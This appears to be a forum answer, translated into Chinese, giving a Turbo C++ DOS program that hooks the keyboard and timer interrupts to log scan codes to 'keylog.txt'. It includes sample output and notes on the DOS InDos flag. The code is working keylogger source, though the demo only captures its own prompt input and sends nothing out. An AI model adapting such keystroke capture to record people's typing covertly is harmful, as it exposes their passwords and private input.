这里是你如何能做到这一点:
// Compile with Borland's Turbo C++ 1.01
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <dos.h>
const char ScanToChar[] =
"??1234567890-=??"
"QWERTYUIOP[]??AS"
"DFGHJKL;\"`?\\ZXCV"
"BNM,./??? ";
void interrupt (*pOldInt9)(void);
void interrupt (*pOldInt1C)(void);
char far* pInDosFlag;
#define SCAN_BUF_SIZE 1024
volatile unsigned char ScanBuf[SCAN_BUF_SIZE];
volatile unsigned ScanReadIdx = 0;
volatile unsigned ScanWriteIdx = 0;
volatile unsigned LogFileHandle;
void DosWriteFile(unsigned handle, void* data, size_t size);
volatile unsigned InDos0cnt = 0;
void TryToSaveLog(void)
{
unsigned cnt;
if (*pInDosFlag)
return;
cnt = (ScanWriteIdx - ScanReadIdx) & (SCAN_BUF_SIZE - 1);
InDos0cnt++;
while (cnt--)
{
static const char hex[] = "ABCDEF";
char s[80] = "0xXX \"?\"\r\n";
unsigned char scanCode = ScanBuf[ScanReadIdx];
s[2] = hex[scanCode >> 4];
s[3] = hex[scanCode & 0xF];
if ((scanCode & 0x7F) < strlen(ScanToChar))
{
s[6] = ScanToChar[scanCode & 0x7F];
}
DosWriteFile(LogFileHandle, s, strlen(s));
ScanReadIdx++;
ScanReadIdx &= SCAN_BUF_SIZE - 1;
}
}
void interrupt NewInt9(void)
{
unsigned char scanCode = inp(0x60);
ScanBuf[ScanWriteIdx++] = scanCode;
ScanWriteIdx &= SCAN_BUF_SIZE - 1;
pOldInt9();
}
volatile unsigned int1Ccnt = 0;
void interrupt NewInt1C(void)
{
int1Ccnt++;
pOldInt1C();
TryToSaveLog();
}
unsigned DosCreateFile(const char* name)
{
union REGS regs;
struct SREGS sregs;
regs.h.ah = 0x3C;
regs.x.cx = 0;
sregs.ds = FP_SEG(name);
regs.x.dx = FP_OFF(name);
intdosx(®s, ®s, &sregs);
return regs.x.cflag ? 0 : regs.x.ax;
}
void DosWriteFile(unsigned handle, void* data, size_t size)
{
union REGS regs;
struct SREGS sregs;
if (!size) return;
regs.h.ah = 0x40;
regs.x.bx = handle;
regs.x.cx = size;
sregs.ds = FP_SEG(data);
regs.x.dx = FP_OFF(data);
intdosx(®s, ®s, &sregs);
}
void DosCloseFile(unsigned handle)
{
union REGS regs;
struct SREGS sregs;
regs.h.ah = 0x3E;
regs.x.bx = handle;
intdosx(®s, ®s, &sregs);
}
void StartLog(const char* FileName)
{
union REGS regs;
struct SREGS sregs;
LogFileHandle = DosCreateFile(FileName);
regs.h.ah = 0x34; // get InDos flag address
intdosx(®s, ®s, &sregs);
pInDosFlag = MK_FP(sregs.es, regs.x.bx);
pOldInt1C = getvect(0x1C);
setvect(0x1C, &NewInt1C);
pOldInt9 = getvect(9);
setvect(9, &NewInt9);
}
void EndLog(void)
{
setvect(9, pOldInt9);
while (ScanWriteIdx != ScanReadIdx);
setvect(0x1C, pOldInt1C);
DosCloseFile(LogFileHandle);
LogFileHandle = 0;
}
int main(void)
{
char str[256];
StartLog("keylog.txt");
printf("please enter some text:\n");
gets(str);
printf("you have entered \"%s\"\n", str);
EndLog();
printf("int 1Ch count: %u\n", int1Ccnt);
printf("InDos=0 count: %u\n", InDos0cnt);
return 0;
}
输出(在Windows XP上运行):
please enter some text:
qweasdzxc123
you have entered "qweasdzxc123"
int 1Ch count: 175
InDos=0 count: 1
KEYLOG.TXT:
0x10 "Q"
0x90 "Q"
0x11 "W"
0x91 "W"
0x12 "E"
0x92 "E"
0x1E "A"
0x9E "A"
0x1F "S"
0x9F "S"
0x20 "D"
0xA0 "D"
0x2C "Z"
0xAC "Z"
0x2D "X"
0xAD "X"
0x2E "C"
0xAE "C"
0x02 "1"
0x82 "1"
0x03 "2"
0x83 "2"
0x04 "3"
0x84 "3"
0x1C "?"
是有几个问题这里。繁忙时不能使用某些DOS功能。这就是我检查InDos
标志的原因。与此同时,InDos可以指示即使DOS正在等待键盘输入等简单操作时(例如,在gets()
中),DOS仍处于忙碌状态。
这就是为什么有一个循环缓冲区的扫描代码积累他们,而程序不能安全地调用DOS文件I/O例程。 EndLog()
等待缓冲区排空。您可能需要尽早强制排空。
我也试过将int 28h作为int 1Ch的替代方法,但是我的int 28h的ISR从来没有调用过,不知道为什么。
对于日志文件,我避免使用C的fopen()
和fwrite()
/fprintf()
,以免干扰不知道背景中发生的事情的主程序。出于同样的原因,在ISR中只使用最平凡的标准C函数。
你是否从'int 9'处理函数中调用'int 21'并且它不会爆炸? – ninjalj
如果你正确地调用它们,什么都不爆炸...... – Bob